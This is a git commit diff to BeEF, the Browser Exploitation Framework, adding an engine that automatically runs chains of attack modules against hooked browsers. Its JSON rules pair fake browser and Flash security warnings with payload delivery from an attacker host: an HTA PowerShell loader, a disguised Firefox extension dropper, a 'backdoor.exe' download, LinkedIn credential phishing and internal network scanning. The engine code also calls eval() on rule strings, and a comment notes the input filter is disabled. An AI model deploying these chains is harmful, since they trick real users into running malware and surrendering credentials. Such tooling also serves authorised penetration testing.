Autorun Rule Engine from @antisnatchor with love (alpha version).

This commit is contained in:
antisnatchor
2015-07-27 10:34:58 +02:00
parent c75b7a633d
commit c84e1b88ac
44 changed files with 1208 additions and 153 deletions

View File

@@ -0,0 +1,35 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "S",
"browser_version": "== 8",
"os": "OSX",
"os_version": "<= 10.10",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(DUPA)--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--(SUTEK)--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,28 @@
{"name": "Get Internal IP (WebRTC)",
"author": "antisnatchor",
"browser": "FF",
"browser_version": ">= 30",
"os": "Linux",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "internal_network_fingerprinting",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80",
"threads":"5",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0,1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,31 @@
{
"name": "Ie Fake Notification + Clippy",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "== 11",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
}
}
,{
"name": "clippy",
"condition": null,
"options": {
"clippydir": "http://clippy.ajbnet.com/1.0.0/",
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
"executeyes": "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe",
"respawntime":"5000",
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
}
}
],
"execution_order": [0,1],
"execution_delay": [0,2000],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,27 @@
{
"name": "HTA PowerShell",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "ALL",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
}
},
{
"name": "hta_powershell",
"condition": null,
"options": {
"domain":"http://172.16.45.1:3000",
"ps_url":"/ps"
}
}],
"execution_order": [0,1],
"execution_delay": [0,500],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,20 @@
{
"name": "Firefox Extension Dropper",
"author": "antisnatchor",
"browser": "FF",
"browser_version": "ALL",
"os": "OSX",
"os_version": ">= 10.8",
"modules": [{
"name": "firefox_extension_dropper",
"condition": null,
"options": {
"extension_name": "DownThem All - Download Manager",
"xpi_name": "Down-Them-All",
"base_host": "http://127.0.0.1:3000"
}
}],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,27 @@
{
"name": "Fake missing plugin + Pretty Theft LinkedIn",
"author": "antisnatchor",
"browser": "IE",
"browser_version": ">= 8",
"os": "Windows",
"os_version": "== XP",
"modules": [{
"name": "fake_notification_c",
"condition": null,
"options": {
"url": "http://172.16.45.1:3000/updates/backdoor.exe",
"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
}
}, {
"name": "pretty_theft",
"condition": null,
"options": {
"choice": "Windows",
"backing": "Grey",
"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
}
}],
"execution_order": [0, 1],
"execution_delay": [0, 5000],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,50 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "<= 8",
"os": "Windows",
"os_version": ">= XP",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
"options":{"text":"<<mod_input>>"}
},
{
// this doesn't execute atm as the setInterval call loops infinitely. Add a timeout of X second to continue anyway.
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
/* chain_mode can be 'sequential' or 'nested-forward':
#
# - sequential chain with delays (setTimeout stuff)
# ex.: setTimeout(module_one(), 0);
# setTimeout(module_two(), 2000);
# setTimeout(module_three(), 3000);
#
# - nested forward chain with status checks (setInterval to wait for command to return from async operations)
# ex.: module_one()
# if result == success
# module_two(module_one_output)
# if result == success
# module_three(module_two_output)
#*/
"chain_mode": "nested-forward"
}

3
beef
View File

@@ -130,6 +130,9 @@ end
# @note Call the API method 'pre_http_start'
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
# Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not
if config.get("beef.extension.console.shell.enable") == true
require 'extensions/console/shell'

View File

@@ -75,7 +75,6 @@ beef:
type: "apache" # Supported: apache, iis, nginx
hook_404: false # inject BeEF hook in HTTP 404 responses
hook_root: false # inject BeEF hook in the server home page
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
@@ -102,10 +101,10 @@ beef:
# db connection information is only used for mysql/postgres
db_host: "localhost"
db_port: 5432
db_port: 3306
db_name: "beef"
db_user: "beef"
db_passwd: "beef123"
db_passwd: "beef"
db_encoding: "UTF-8"
# Credentials to authenticate in BeEF.
@@ -114,12 +113,18 @@ beef:
user: "beef"
passwd: "beef"
# Autorun modules as soon the browser is hooked.
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
# Autorun Rule Engine
autorun:
enable: true
# set this to TRUE if you want to allow auto-run execution for modules with target->user_notify
allow_user_notify: true
# this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
# to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
# continue execution regardless of results.
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
result_poll_interval: 300
result_poll_timeout: 5000
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
continue_after_timeout: true
# Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: false

View File

@@ -32,6 +32,13 @@ require 'core/main/network_stack/api'
# @note Include the distributed engine
require 'core/main/distributed_engine/models/rules'
# @note Include the autorun engine
require 'core/main/autorun_engine/models/rule'
require 'core/main/autorun_engine/models/execution'
require 'core/main/autorun_engine/parser'
require 'core/main/autorun_engine/engine'
require 'core/main/autorun_engine/rule_loader'
## @note Include helpers
require 'core/module'
require 'core/modules'
@@ -46,6 +53,7 @@ require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/handlers/server'
require 'core/main/rest/handlers/autorun_engine'
require 'core/main/rest/api'
## @note Include Websocket

View File

@@ -54,6 +54,7 @@ module Filters
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return true if str.eql? "ALL"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 10
true

View File

@@ -0,0 +1,456 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class Engine
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
@result_poll_interval = @config.get('beef.autorun.result_poll_interval')
@result_poll_timeout = @config.get('beef.autorun.result_poll_timeout')
@continue_after_timeout = @config.get('beef.autorun.continue_after_timeout')
@debug_on = @config.get('beef.debug')
@VERSION = ['<','<=','==','>=','>','ALL']
@VERSION_STR = ['XP','Vista']
end
# Prepare and return the JavaScript of the modules to be sent.
# It also updates the rules ARE execution table with timings
def trigger(rule_ids, hb_id)
hb = BeEF::HBManager.get_by_id(hb_id)
hb_session = hb.session
rule_ids.each do |rule_id|
rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)
modules = JSON.parse(rule.modules)
execution_order = JSON.parse(rule.execution_order)
execution_delay = JSON.parse(rule.execution_delay)
chain_mode = rule.chain_mode
mods_bodies = Array.new
mods_codes = Array.new
mods_conditions = Array.new
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
options = []
replace_input = false
cmd_mod['options'].each do|k,v|
options.push({'name' => k, 'value' => v})
replace_input = true if v == '<<mod_input>>'
end
command_body = prepare_command(mod, options, hb_id, replace_input)
mods_bodies.push(command_body)
mods_codes.push(cmd_mod['code'])
mods_conditions.push(cmd_mod['condition'])
end
# Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
case chain_mode
when 'nested-forward'
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order)
when 'sequential'
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay)
else
wrapper = nil
# TODO catch error, which should never happen as values are checked way before ;-)
end
are_exec = BeEF::Core::AutorunEngine::Models::Execution.new(
:session => hb_session,
:mod_count => modules.length,
:mod_successful => 0,
:mod_body => wrapper,
:is_sent => false,
:rule_id => rule_id
)
are_exec.save
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
end
end
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
# Launch order is also taken care of (TODO execution is not nested right now, check if it should be changed)]
# - sequential chain with delays (setTimeout stuff)
# ex.: setTimeout(module_one(), 0);
# setTimeout(module_two(), 2000);
# setTimeout(module_three(), 3000);
# Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring
# what their status will be (for instance, a bunch of XSRFs on a set of targets)
def prepare_sequential_wrapper(mods, order, delay)
wrapper = ''
delayed_exec = ''
c = 0
while c < mods.length
delayed_exec += %Q| setTimeout("#{mods[order[c]][:mod_name]}();", #{delay[c]}); |
wrapped_mod = "#{mods[order[c]][:mod_body]}\n"
wrapper += wrapped_mod
c += 1
end
wrapper += delayed_exec
print_more "Final Modules Wrapper:\n #{delayed_exec}" if @debug_on
wrapper
end
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
# Launch order is also taken care of (TODO execution is not nested right now, check if it should be changed)
# - nested forward chain with status checks (setInterval to wait for command to return from async operations)
# ex.: module_one()
# if result == success
# module_two(module_one_output)
# if result == success
# module_three(module_two_output)
#
# Note: command result status is checked, and you can properly chain input into output, having also
# the flexibility of slightly mangling it to adapt to module needs.
# Note: Useful in situations where you want to launch 2 modules, where the second one will execute only
# if the first once return with success. Also, the second module has the possibility of mangling first
# module output and use it as input for some of its module inputs.
def prepare_nested_forward_wrapper(mods, code, conditions, order)
wrapper, delayed_exec = '',''
delayed_exec_footers = Array.new
c = 0
while c < mods.length
if mods.length == 1
i = c
else
i = c + 1
end
code_snippet = ''
mod_input = ''
if code[c] != 'null' && code[c] != ''
code_snippet = code[c]
mod_input = 'mod_input'
end
conditions[i] = true if conditions[i] == nil || conditions[i] == ''
if c == 0
# this is the first wrapper to prepare
delayed_exec += %Q|
function #{mods[order[c]][:mod_name]}_f(){
#{mods[order[c]][:mod_name]}();
// TODO add timeout to prevent infinite loops
function isResReady(mod_result, start){
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
// loop
}else{
// module return status/data is now available
clearInterval(resultReady);
if (mod_result === null && #{@continue_after_timeout}){
var mod_result = [];
mod_result[0] = 1; //unknown status
mod_result[1] = '' //empty result
}
var status = mod_result[0];
if(#{conditions[i]}){
#{mods[order[i]][:mod_name]}_can_exec = true;
#{mods[order[c]][:mod_name]}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
}
}
}
var start = (new Date()).getTime();
var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval});
}
#{mods[order[c]][:mod_name]}_f();
|
delayed_exec_footers.push(delayed_exec_footer)
elsif c < mods.length - 1
# this is one of the wrappers in the middle of the chain
delayed_exec += %Q|
function #{mods[order[c]][:mod_name]}_f(){
if(#{mods[order[c]][:mod_name]}_can_exec){
#{code_snippet}
#{mods[order[c]][:mod_name]}(#{mod_input});
function isResReady(mod_result, start){
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
// loop
}else{
// module return status/data is now available
clearInterval(resultReady);
if (mod_result === null && #{@continue_after_timeout}){
var mod_result = [];
mod_result[0] = 1; //unknown status
mod_result[1] = '' //empty result
}
var status = mod_result[0];
if(#{conditions[i]}){
#{mods[order[i]][:mod_name]}_can_exec = true;
#{mods[order[c]][:mod_name]}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
}
}
}
var start = (new Date()).getTime();
var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval});
}
}
#{mods[order[c]][:mod_name]}_f();
|
delayed_exec_footers.push(delayed_exec_footer)
else
# this is the last wrapper to prepare
delayed_exec += %Q|
function #{mods[order[c]][:mod_name]}_f(){
if(#{mods[order[c]][:mod_name]}_can_exec){
#{code_snippet}
#{mods[order[c]][:mod_name]}(#{mod_input});
}
}
#{mods[order[c]][:mod_name]}_f();
|
end
wrapped_mod = "#{mods[order[c]][:mod_body]}\n"
wrapper += wrapped_mod
c += 1
end
wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n")
print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on
wrapper
end
# prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
# and store it in the database.
# Returns the raw module body after template substitution.
def prepare_command(mod, options, hb_id, replace_input)
config = BeEF::Core::Configuration.instance
begin
command = BeEF::Core::Models::Command.new(
:data => options.to_json,
:hooked_browser_id => hb_id,
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
:creationdate => Time.new.to_i,
:instructions_sent => true
)
command.save
command_module = BeEF::Core::Models::CommandModule.first(:id => mod.id)
if (command_module.path.match(/^Dynamic/))
# metasploit and similar integrations
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
# normal modules always here
key = BeEF::Module.get_key_by_database_id(mod.id)
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
end
hb = BeEF::HBManager.get_by_id(hb_id)
hb_session = hb.session
command_module.command_id = command.id
command_module.session_id = hb_session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
command_body = evasion.obfuscate(command_module.output) + "\n\n"
else
command_body = command_module.output + "\n\n"
end
# @note prints the event to the console
print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
replace_input ? mod_input = 'mod_input' : mod_input = ''
result = %Q|
var #{mod.name} = function(#{mod_input}){
#{clean_command_body(command_body, replace_input)}
};
var #{mod.name}_can_exec = false;
var #{mod.name}_mod_output = null;
|
return {:mod_name => mod.name, :mod_body => result}
rescue => e
print_error e.message
print_debug e.backtrace.join("\n")
end
end
# Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than
# using the default behavior of adding the module to an array and execute it at polling time.
#
# Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
def clean_command_body(command_body, replace_input)
begin
cmd_body = command_body.lines.map(&:chomp)
wrapper_start_index,wrapper_end_index = nil
cmd_body.each_with_index do |line, index|
if line.include?('beef.execute(function()')
wrapper_start_index = index
break
end
end
cmd_body.reverse.each_with_index do |line, index|
if line.include?('});')
wrapper_end_index = index
break
end
end
cleaned_cmd_body = cmd_body.slice(wrapper_start_index+1..-(wrapper_end_index+2)).join("\n")
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
if replace_input
if cleaned_cmd_body.include?('"<<mod_input>>"')
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
elsif cleaned_cmd_body.include?('<<mod_input>>')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
else
return cleaned_cmd_body
end
return final_cmd_body
else
return cleaned_cmd_body
end
rescue => e
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body.dd"
end
end
# Checks if there are any ARE rules to be triggered for the specified hooked browser
#
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11
# Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1
#
# Returns an array with rule IDs that matched and should be triggered.
# if rule_id is specified, checks will be executed only against the specified rule (useful
# for dynamic triggering of new rulesets ar runtime)
def match(browser, browser_version, os, os_version, rule_id=nil)
match_rules = []
if rule_id != nil
rules = [BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)]
else
rules = BeEF::Core::AutorunEngine::Models::Rule.all(:browser => browser)
end
return nil if rules == nil
print_info "[ARE] Checking if any defined rules should be triggered on target."
# TODO handle cases where there are multiple ARE rules for the same hooked browser.
# TODO the above works well, but maybe rules need to have priority or something?
rules.each do |rule|
begin
browser_match, os_match = false, false
# The following is to protect from potential RCE if someone uploads a rule containing a payload
# as the version condition. In this way we ensure that only <,>,= and the ALL string are allowed as characters,
# effectively nullifying the risk of eval() usage. We need eval() here for easy match-making of versions
# TODO the character > can be used to redirect output in RCE vectors, play with it
# next unless BeEF::Filters::only?("a-zA-Z0-9", browser) &&
# BeEF::Filters::only?("a-zA-Z0-9.<=>", browser_version) &&
# BeEF::Filters::only?("a-zA-Z0-9", os) &&
# BeEF::Filters::only?("a-zA-Z0-9.<=>", os_version)
b_ver_cond = rule.browser_version.split(' ').first
b_ver = rule.browser_version.split(' ').last
os_ver_rule_cond = rule.os_version.split(' ').first
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
# Most of the times Linux/*BSD OS doesn't return any version (TODO: improve OS detection on these operating systems)
if os_version != nil && !@VERSION_STR.include?(os_version)
os_ver_hook_maj = os_version.split('.').first
os_ver_hook_min = os_version.split('.').last
# the following assignments to 0 are need for later checks like:
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
os_ver_hook_min = 0 if os_version.split('.').length == 1
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
else
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
end
os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_min == 'Vista'
next unless @VERSION.include?(b_ver_cond)
next unless BeEF::Filters::is_valid_browserversion?(b_ver)
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
# check if the browser and OS types do match
next unless browser == 'ALL' || browser == rule.browser
next unless os == 'ALL' || os == rule.os
# check if the browser version match
if b_ver_cond == 'ALL'
browser_match = true
browser_version_match = true
else
browser_version_match = eval(browser_version.to_s + rule.browser_version)
browser_match = true if browser_version_match
end
print_more "Browser version check -> (hook) #{browser_version.to_s} #{rule.browser_version} (rule) : #{browser_version_match}"
# check if the OS versions match
if os_version != nil || rule.os_version != 'ALL'
os_major_version_match = eval(os_ver_hook_maj.to_s + os_ver_rule_cond + os_ver_rule_maj.to_s)
os_minor_version_match = eval(os_ver_hook_min.to_s + os_ver_rule_cond + os_ver_rule_min.to_s)
else
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
os_major_version_match, os_minor_version_match = true, true
end
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
if browser_match && os_match
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
match_rules.push(rule.id)
end
rescue => e
print_error e.message
print_debug e.backtrace.join("\n")
end
end
print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
return match_rules
end
end
end
end
end

View File

@@ -0,0 +1,30 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
module Models
# @note Stored info about the execution of the ARE on hooked browsers.
class Execution
include DataMapper::Resource
storage_names[:default] = 'core_areexecution'
property :id, Serial
property :session, Text # hooked browser session where a ruleset triggered
property :mod_count, Integer # number of command modules of the ruleset
property :mod_successful, Integer # number of command modules that returned with success
# By default Text is only 65K, so field length increased to 1 MB
property :mod_body, Text, :length => 1024000 # entire command module(s) body to be sent
property :exec_time, String, :length => 15 # timestamp of ruleset triggering
property :is_sent, Boolean
end
end
end
end
end

View File

@@ -0,0 +1,34 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
module Models
# @note Table stores the rules for the Distributed Engine.
class Rule
include DataMapper::Resource
storage_names[:default] = 'core_arerules'
property :id, Serial
property :name, Text # rule name
property :author, String # rule author
property :browser, String, :length => 10 # browser name
property :browser_version, String, :length => 10 # browser version
property :os, String, :length => 10 # OS name
property :os_version, String, :length => 10 # OS version
property :modules, Text # JSON stringyfied representation of the JSON rule for further parsing
property :execution_order, Text # command module execution order
property :execution_delay, Text # command module time delays
property :chain_mode, String, :length => 40 # rule chaining mode
has n, :executions
end
end
end
end
end

View File

@@ -0,0 +1,75 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class Parser
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
end
BROWSER = ['FF','C','IE','S','O','ALL']
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
CHAIN_MODE = ['sequential','nested-forward']
# Parse a JSON ARE file and returns an Hash with the value mappings
def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
begin
success = [true]
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
return [false, 'Illegal browser_version definition'] unless BeEF::Filters::is_valid_browserversion?(
browser_version.split(' ').last) || VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) || browser_version == 'ALL'
return [false, 'Illegal os definition'] unless OS.include?(os)
return [false, 'Illegal os_version definition'] unless
(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) || os_version == 'ALL') && BeEF::Filters::only?("a-zA-Z0-9.<=> ",os_version)
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
if mod != nil
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)
opt_count = 0
mod_options.each do |opt|
if opt['name'] == cmd_mod['options'].keys[opt_count]
opt_count += 1
else
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
}) for module (#{cmd_mod['name']}) does not exist"]
end
end
else
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
end
end
exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
success
rescue => e
print_error "#{e.message}"
print_debug "#{e.backtrace.join("\n")}"
return [false, 'Something went wrong.']
end
end
end
end
end
end

View File

@@ -0,0 +1,95 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class RuleLoader
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
end
# this expects parsed JSON as input
def load(data)
begin
name = data['name']
author = data['author']
browser = data['browser']
browser_version = data['browser_version']
os = data['os']
os_version = data['os_version']
modules = data['modules']
exec_order = data['execution_order']
exec_delay = data['execution_delay']
chain_mode = data['chain_mode']
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode)
if parser_result.length == 1 && parser_result.first
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
print_more "Target Browser: #{browser} (#{browser_version})"
print_more "Target OS: #{os} (#{os_version})"
print_more "Modules to Trigger:"
modules.each do |mod|
print_more "(*) Name: #{mod['name']}"
print_more "(*) Condition: #{mod['condition']}"
print_more "(*) Code: #{mod['code']}"
print_more "(*) Options:"
mod['options'].each do |key,value|
print_more "\t#{key}: (#{value})"
end
end
print_more "Exec order: #{exec_order}"
print_more "Exec delay: #{exec_delay}"
are_rule = BeEF::Core::AutorunEngine::Models::Rule.new(
:name => name,
:author => author,
:browser => browser,
:browser_version => browser_version,
:os => os,
:os_version => os_version,
:modules => modules.to_json,
:execution_order => exec_order,
:execution_delay => exec_delay,
:chain_mode => chain_mode)
are_rule.save
return { 'success' => true, 'rule_id' => are_rule.id}
else
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
return { 'success' => false, 'error' => parser_result.last }
end
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
return { 'success' => false, 'error' => err }
end
end
def load_file(json_rule_path)
begin
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
self.load JSON.parse(rule_file)
rescue => e
print_error "[ARE] Failed to load ruleset from #{json_rule_path}"
end
end
def load_directory
Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule|
print_info "[ARE] Processing rule: #{rule}"
self.load_file rule
end
end
end
end
end
end

View File

@@ -5,43 +5,14 @@
//
beef.are = {
init:function(){
var Jools = require('jools');
this.ruleEngine = new Jools();
status_success: function(){
return 1;
},
send:function(module){
// there will probably be some other stuff here before things are finished
this.commands.push(module);
status_unknown: function(){
return 0;
},
execute:function(inputs){
this.rulesEngine.execute(input);
},
cache_modules:function(modules){},
rules:[
{
'name':"exec_no_input",
'condition':function(command,browser){
//need to figure out how to handle the inputs
return (!command['inputs'] || command['inputs'].length == 0)
},
'consequence':function(command,browser){}
},
{
'name':"module_has_sibling",
'condition':function(command,commands){
return false;
},
'consequence':function(command,commands){}
},
{
'name':"module_depends_on_module",
'condition':function(command,commands){
return false;
},
'consequence':function(command,commands){}
status_error: function(){
return -1;
}
],
commands:[],
results:[]
};
beef.regCmp("beef.are");

View File

@@ -2296,6 +2296,7 @@ beef.browser = {
var browser_plugins = beef.browser.getPlugins();
var date_stamp = new Date().toString();
var os_name = beef.os.getName();
var os_version = beef.os.getVersion();
var default_browser = beef.os.getDefaultBrowser();
var hw_name = beef.hardware.getName();
var cpu_type = beef.hardware.cpuType();
@@ -2343,6 +2344,7 @@ beef.browser = {
if (hostport) details['HostPort'] = hostport;
if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
if (os_name) details['OsName'] = os_name;
if (os_version) details['OsVersion'] = os_version;
if (default_browser) details['DefaultBrowser'] = default_browser;
if (hw_name) details['Hardware'] = hw_name;
if (cpu_type) details['CPU'] = cpu_type;

View File

@@ -69,13 +69,11 @@ function beef_init() {
beef.net.browser_details();
beef.updater.execute_commands();
beef.logger.start();
beef.are.init();
}else {
beef.net.browser_details();
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
beef.are.init();
}
}
}

View File

@@ -35,6 +35,7 @@ beef.net = {
command: function () {
this.cid = null;
this.results = null;
this.status = null;
this.handler = null;
this.callback = null;
},
